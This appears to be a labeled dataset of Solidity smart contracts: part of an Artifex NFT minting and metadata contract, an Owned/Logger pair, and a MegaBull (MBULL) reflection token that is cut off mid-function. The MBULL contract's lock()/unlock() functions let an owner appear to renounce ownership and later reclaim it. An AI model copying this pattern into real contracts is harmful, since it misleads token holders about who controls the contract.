* @return true if series is locked, otherwise returns false
*/
function isSeriesLocked(uint256 seriesId) external view returns (bool) {
return artistSeriesLocked[seriesId];
}
/**
* @notice return the base URI used for accessing off-chain metadata
* @return base URI for location of the off-chain metadata
*/
function baseURI() external view returns (string memory) {
return _baseURI();
}
/**
* @notice return the base external URI used for accessing nft on a web site.
* @return base external URI
*/
function externalBaseURI() external view returns (string memory) {
return _externalBaseTokenURI;
}
/**
* @notice Given a token ID, return whether or not it exists
* @param tokenId the token ID
* @return a bool which is true of the token exists
*/
function exists(uint256 tokenId) external view returns (bool) {
return _exists(tokenId);
}
/**
* @notice Given a token ID, return all on-chain metadata for the
* token as JSON string
*
* For each NFT, the following on-chain metadata is returned:
* - Name: The title of the art piece (includes creator of the art piece)
* - Descriptiom: Details about the art piece (includes the artist represented)
* - Image URI: The off-chain URI location of the image
* - External URI: Website to view the NFT
* - SHA256 Image Hash: The actual image hash stored on-chain for anyone
* to validate authenticity of their art piece
* - IPFS Image Hash: IFPS storage hash of the image
* - Arweave Image Hash: Arweave storage hash of the image
* - Image File Type: File extension of the image, since file stores such
* as IPFS may not return the image file type
*
* IF 3D MODEL INFO AVAILABLE, THEN INCLUDE THIS IN METADATA
* - SHA256 3D Model Hash: The actual 3D Model hash stored
* on-chain for anyone to validate authenticity of their
* 3D model asset
* - IPFS 3D Model Hash: IFPS storage hash of the 3D model
* - Arweave Image Hash: Arweave storage hash of the 3D model
* - 3D Model File Type: File extension of the 3D model
*
* ATTRIBUTES INCLUDED:
* - Creator name: The creator of the art piece
* - Artist name: The artist represented / honored by the creator
* - Edition Number: The edition number of the NFT
* - Total Editions: Total editions that can ever exist in the series
*
* @param tokenId the token ID
* @return metadata a JSON string of the metadata
*/
function getMetadata(uint256 tokenId)
external
view
returns (string memory metadata)
{
require(_exists(tokenId), "Token does not exist");
uint256 seriesId = getSeriesId(tokenId);
uint256 nftType = getNftType(tokenId);
uint256 editionNum = getNftNum(tokenId);
string memory creatorName;
ArtistNFTSeriesInfo memory seriesInfo;
ArtistNFTSeries3DModelInfo memory series3DModelInfo;
if (nftType == 1) {
seriesInfo = artist2DSeriesInfo[seriesId];
creatorName = seriesInfo.artistName;
} else if (nftType == 2) {
seriesInfo = artist3DSeriesInfo[seriesId];
creatorName = seriesInfo.creatorName;
series3DModelInfo = artistSeries3DModelInfo[seriesId];
}
// Name
metadata = string(
abi.encodePacked('{\n "name": "', seriesInfo.artistName)
);
metadata = string(abi.encodePacked(metadata, " Artifex #"));
metadata = string(abi.encodePacked(metadata, editionNum.toString()));
metadata = string(abi.encodePacked(metadata, " of "));
metadata = string(
abi.encodePacked(metadata, seriesInfo.totalEditions.toString())
);
metadata = string(abi.encodePacked(metadata, '",\n'));
// Description: Generation
metadata = string(abi.encodePacked(metadata, ' "description": "'));
metadata = string(abi.encodePacked(metadata, seriesInfo.description));
metadata = string(abi.encodePacked(metadata, '",\n'));
// Image URI
metadata = string(abi.encodePacked(metadata, ' "image": "'));
metadata = string(abi.encodePacked(metadata, _baseTokenURI));
metadata = string(abi.encodePacked(metadata, seriesInfo.ipfsImageHash));
metadata = string(abi.encodePacked(metadata, '",\n'));
// External URI
metadata = string(abi.encodePacked(metadata, ' "external_url": "'));
metadata = string(abi.encodePacked(metadata, externalURI(tokenId)));
metadata = string(abi.encodePacked(metadata, '",\n'));
// SHA256 Image Hash
metadata = string(
abi.encodePacked(metadata, ' "sha256_image_hash": "')
);
metadata = string(
abi.encodePacked(metadata, seriesInfo.sha256ImageHash)
);
metadata = string(abi.encodePacked(metadata, '",\n'));
// IPFS Image Hash
metadata = string(abi.encodePacked(metadata, ' "ipfs_image_hash": "'));
metadata = string(abi.encodePacked(metadata, seriesInfo.ipfsImageHash));
metadata = string(abi.encodePacked(metadata, '",\n'));
// Arweave Image Hash
metadata = string(
abi.encodePacked(metadata, ' "arweave_image_hash": "')
);
metadata = string(
abi.encodePacked(metadata, seriesInfo.arweaveImageHash)
);
metadata = string(abi.encodePacked(metadata, '",\n'));
// Image file type
metadata = string(abi.encodePacked(metadata, ' "image_file_type": "'));
metadata = string(abi.encodePacked(metadata, seriesInfo.imageFileType));
metadata = string(abi.encodePacked(metadata, '",\n'));
// Optional 3D Model metadata
if (nftType == 2) {
// SHA256 3D Model Hash
metadata = string(
abi.encodePacked(metadata, ' "sha256_3d_model_hash": "')
);
metadata = string(
abi.encodePacked(metadata, series3DModelInfo.sha256ModelHash)
);
metadata = string(abi.encodePacked(metadata, '",\n'));
// IPFS 3D Model Hash
metadata = string(
abi.encodePacked(metadata, ' "ipfs_3d_model_hash": "')
);
metadata = string(
abi.encodePacked(metadata, series3DModelInfo.ipfs3DModelHash)
);
metadata = string(abi.encodePacked(metadata, '",\n'));
// Arweave 3D Model Hash
metadata = string(
abi.encodePacked(metadata, ' "arweave_3d_model_hash": "')
);
metadata = string(
abi.encodePacked(metadata, series3DModelInfo.arweave3DModelHash)
);
metadata = string(abi.encodePacked(metadata, '",\n'));
// 3D model file type
metadata = string(
abi.encodePacked(metadata, ' "model_file_type": "')
);
metadata = string(
abi.encodePacked(metadata, series3DModelInfo.modelFileType)
);
metadata = string(abi.encodePacked(metadata, '",\n'));
}
// Atributes section
// Artist Name
metadata = string(
abi.encodePacked(
metadata,
' "attributes": [\n {"trait_type": "Artist", "value": "'
)
);
metadata = string(abi.encodePacked(metadata, seriesInfo.artistName));
metadata = string(abi.encodePacked(metadata, '"},\n'));
// Creator Name
metadata = string(
abi.encodePacked(
metadata,
' {"trait_type": "Creator", "value": "'
)
);
metadata = string(abi.encodePacked(metadata, creatorName));
metadata = string(abi.encodePacked(metadata, '"},\n'));
// Edition Number
metadata = string(
abi.encodePacked(
metadata,
' {"trait_type": "Edition", "value": '
)
);
metadata = string(abi.encodePacked(metadata, editionNum.toString()));
metadata = string(abi.encodePacked(metadata, ","));
// Total Editions
metadata = string(abi.encodePacked(metadata, ' "max_value": '));
metadata = string(
abi.encodePacked(metadata, seriesInfo.totalEditions.toString())
);
metadata = string(abi.encodePacked(metadata, ","));
metadata = string(
abi.encodePacked(metadata, ' "display_type": "number"}\n ]')
);
// Finish JSON object
metadata = string(abi.encodePacked(metadata, "\n}"));
}
/**
* @notice Mints an Artifex NFT
* @param to address of the recipient
* @param seriesId series to mint
* @param nftType the type of nft - 1 for 2D piece, 2 for 3D piece
* @param nftNum the edition number of the nft
* @param ipfsHash the ipfsHash of a copy of the token's Metadata on ipfs
*/
function mintArtifexNft(
address to,
uint256 seriesId,
uint256 nftType,
uint256 nftNum,
string memory ipfsHash
) public anyOperator {
// Ensure the series is not locked yet. No more minting can
// happen once the series is locked
require(artistSeriesLocked[seriesId] == false, "Series is locked");
// Series 0 is a gift series. Only enforce edition limits
// for artist Series > 0.
if (seriesId > 0) {
if (nftType == 1) {
require(nftNum == 1, "Edition must be 1");
} else if (nftType == 2) {
require(nftNum <= 100, "Edition must be <= 100");
}
}
uint256 tokenId = encodeTokenId(seriesId, nftType, nftNum);
_safeMint(to, tokenId);
_setTokenIPFSMetadataHash(tokenId, ipfsHash);
}
/**
* @notice Mints multiple Artifex NFTs for same series and nftType
* @param to address of the recipient
* @param seriesId series to mint
* @param nftType the type of nft - 1 for 2D piece, 2 for 3D piece
* @param nftStartingNum the starting edition number of the nft
* @param numTokens the number of tokens to mint in the edition,
* starting from nftStartingNum edition number
* @param ipfsHashes an array of ipfsHashes of each token's Metadata on ipfs
*/
function batchMintArtifexNft(
address to,
uint256 seriesId,
uint256 nftType,
uint256 nftStartingNum,
uint256 numTokens,
string[] memory ipfsHashes
) public anyOperator {
require(
numTokens == ipfsHashes.length,
"numTokens and num ipfsHashes must match"
);
for (uint256 i = 0; i < numTokens; i++) {
mintArtifexNft(
to,
seriesId,
nftType,
nftStartingNum + i,
ipfsHashes[i]
);
}
}
/**
* @notice Given a token ID, return the series ID of the token
* @param tokenId the token ID
* @return the series ID of the token
*/
function getSeriesId(uint256 tokenId) public pure returns (uint256) {
return (uint256(tokenId / SERIES_MULTIPLIER));
}
/**
* @notice Given a token ID, return the nft type of the token
* @param tokenId the token ID
* @return the nft type of the token
*/
function getNftType(uint256 tokenId) public pure returns (uint256) {
uint256 seriesId = getSeriesId(tokenId);
return
uint256(
(tokenId - (SERIES_MULTIPLIER * seriesId)) / NFT_TYPE_MULTIPLIER
);
}
/**
* @notice Given a token ID, return the nft edition number of the token
* @param tokenId the token ID
* @return the nft edition number of the token
*/
function getNftNum(uint256 tokenId) public pure returns (uint256) {
uint256 seriesId = getSeriesId(tokenId);
uint256 nftType = getNftType(tokenId);
return
uint256(
tokenId -
(SERIES_MULTIPLIER * seriesId) -
(nftType * NFT_TYPE_MULTIPLIER)
);
}
/**
* @notice Generate a tokenId given the series ID, nft type,
* and nft edition number
* @param seriesId series to mint
* @param nftType the type of nft - 1 for 2D piece, 2 for 3D piece
* @param nftNum the edition number of the nft
* @return the token ID
*/
function encodeTokenId(
uint256 seriesId,
uint256 nftType,
uint256 nftNum
) public pure returns (uint256) {
return ((seriesId * SERIES_MULTIPLIER) +
(nftType * NFT_TYPE_MULTIPLIER) +
nftNum);
}
/**
* @notice Given a token ID, return the name of the artist name
* for the token
* @param tokenId the token ID
* @return artistName the name of the artist
*/
function getArtistNameByTokenId(uint256 tokenId)
public
view
returns (string memory artistName)
{
require(_exists(tokenId), "Token does not exist");
if (getNftType(tokenId) == 1) {
artistName = artist2DSeriesInfo[getSeriesId(tokenId)].artistName;
} else if (getNftType(tokenId) == 2) {
artistName = artist3DSeriesInfo[getSeriesId(tokenId)].artistName;
}
}
/**
* @notice Given a series ID and nft type, return information about the series
* @param seriesId series to mint
* @param nftType the type of nft - 1 for 2D piece, 2 for 3D piece
* @return seriesInfo structure with series information
*/
function getSeriesInfo(uint256 seriesId, uint256 nftType)
public
view
returns (
ArtistNFTSeriesInfo memory seriesInfo,
ArtistNFTSeries3DModelInfo memory series3dModelInfo
)
{
if (nftType == 1) {
seriesInfo = artist2DSeriesInfo[seriesId];
} else if (nftType == 2) {
seriesInfo = artist3DSeriesInfo[seriesId];
series3dModelInfo = artistSeries3DModelInfo[seriesId];
}
}
/**
* @notice Given a token ID, return information about the series
* @param tokenId the token ID
* @return seriesInfo structure with series information
*/
function getSeriesInfoByTokenId(uint256 tokenId)
public
view
returns (
ArtistNFTSeriesInfo memory seriesInfo,
ArtistNFTSeries3DModelInfo memory series3dModelInfo
)
{
require(_exists(tokenId), "Token does not exist");
(seriesInfo, series3dModelInfo) = getSeriesInfo(
getSeriesId(tokenId),
getNftType(tokenId)
);
}
/**
* @dev Returns an URI for a given token ID.
* See {IERC721Metadata-tokenURI}.
* @param tokenId uint256 ID of the token to query
* @return URI for location of the off-chain metadata
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
return
bytes(_baseTokenURI).length > 0
? string(
abi.encodePacked(
_baseTokenURI,
tokenIdToIPFSMetadataHash[tokenId]
)
)
: "";
}
/**
* @dev Returns the actual CID hash pointing to the token's metadata on IPFS.
* @param tokenId token ID of the token to query
* @return the ipfs hash of the metadata
*/
function tokenIPFSMetadataHash(uint256 tokenId)
public
view
returns (string memory)
{
return tokenIdToIPFSMetadataHash[tokenId];
}
/**
* @notice Given a token ID, return the external URI for viewing the nft on a
* web site.
* @param tokenId the token ID
* @return external URI
*/
function externalURI(uint256 tokenId) public view returns (string memory) {
return
string(abi.encodePacked(_externalBaseTokenURI, tokenId.toString()));
}
/**
* @notice return the base URI used for accessing off-chain metadata
* @return base URI for location of the off-chain metadata
*/
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
/**
* @dev Private function to set the token IPFS hash for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param ipfs_hash string IPFS link to assign
*/
function _setTokenIPFSMetadataHash(uint256 tokenId, string memory ipfs_hash)
private
{
require(
_exists(tokenId),
"ERC721Metadata: URI set of nonexistent token"
);
tokenIdToIPFSMetadataHash[tokenId] = ipfs_hash;
}
}
|
True
|
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pragma solidity ^0.4.24;
// File: contracts/interfaces/IOwned.sol
/*
Owned Contract Interface
*/
contract IOwned {
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
function transferOwnershipNow(address newContractOwner) public;
}
// File: contracts/utility/Owned.sol
/*
This is the "owned" utility contract used by bancor with one additional function - transferOwnershipNow()
The original unmodified version can be found here:
https://github.com/bancorprotocol/contracts/commit/63480ca28534830f184d3c4bf799c1f90d113846
Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
@dev constructor
*/
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
require(msg.sender == owner);
_;
}
/**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
/**
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
/**
@dev transfers the contract ownership without needing the new owner to accept ownership
@param newContractOwner new contract owner
*/
function transferOwnershipNow(address newContractOwner) ownerOnly public {
require(newContractOwner != owner);
emit OwnerUpdate(owner, newContractOwner);
owner = newContractOwner;
}
}
// File: contracts/interfaces/ILogger.sol
/*
Logger Contract Interface
*/
contract ILogger {
function addNewLoggerPermission(address addressToPermission) public;
function emitTaskCreated(uint uuid, uint amount) public;
function emitProjectCreated(uint uuid, uint amount, address rewardAddress) public;
function emitNewSmartToken(address token) public;
function emitIssuance(uint256 amount) public;
function emitDestruction(uint256 amount) public;
function emitTransfer(address from, address to, uint256 value) public;
function emitApproval(address owner, address spender, uint256 value) public;
function emitGenericLog(string messageType, string message) public;
}
// File: contracts/Logger.sol
/*
Centralized logger allows backend to easily watch all events on all communities without needing to watch each community individually
*/
contract Logger is Owned, ILogger {
// Community
event TaskCreated(address msgSender, uint _uuid, uint _amount);
event ProjectCreated(address msgSender, uint _uuid, uint _amount, address _address);
// SmartToken
// triggered when a smart token is deployed - the _token address is defined for forward compatibility
// in case we want to trigger the event from a factory
event NewSmartToken(address msgSender, address _token);
// triggered when the total supply is increased
event Issuance(address msgSender, uint256 _amount);
// triggered when the total supply is decreased
event Destruction(address msgSender, uint256 _amount);
// erc20
event Transfer(address msgSender, address indexed _from, address indexed _to, uint256 _value);
event Approval(address msgSender, address indexed _owner, address indexed _spender, uint256 _value);
// Logger
event NewCommunityAddress(address msgSender, address _newAddress);
event GenericLog(address msgSender, string messageType, string message);
mapping (address => bool) public permissionedAddresses;
modifier hasLoggerPermissions(address _address) {
require(permissionedAddresses[_address] == true);
_;
}
function addNewLoggerPermission(address addressToPermission) ownerOnly public {
permissionedAddresses[addressToPermission] = true;
}
function emitTaskCreated(uint uuid, uint amount) public hasLoggerPermissions(msg.sender) {
emit TaskCreated(msg.sender, uuid, amount);
}
function emitProjectCreated(uint uuid, uint amount, address rewardAddress) public hasLoggerPermissions(msg.sender) {
emit ProjectCreated(msg.sender, uuid, amount, rewardAddress);
}
function emitNewSmartToken(address token) public hasLoggerPermissions(msg.sender) {
emit NewSmartToken(msg.sender, token);
}
function emitIssuance(uint256 amount) public hasLoggerPermissions(msg.sender) {
emit Issuance(msg.sender, amount);
}
function emitDestruction(uint256 amount) public hasLoggerPermissions(msg.sender) {
emit Destruction(msg.sender, amount);
}
function emitTransfer(address from, address to, uint256 value) public hasLoggerPermissions(msg.sender) {
emit Transfer(msg.sender, from, to, value);
}
function emitApproval(address owner, address spender, uint256 value) public hasLoggerPermissions(msg.sender) {
emit Approval(msg.sender, owner, spender, value);
}
function emitGenericLog(string messageType, string message) public hasLoggerPermissions(msg.sender) {
emit GenericLog(msg.sender, messageType, message);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-07-08
*/
pragma solidity >=0.6.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also ested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract MBULL is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'MegaBull';
string private _symbol = 'MBULL';
uint8 private _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _burnFee = 0;
uint256 private _maxTxAmount = 100000000000 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
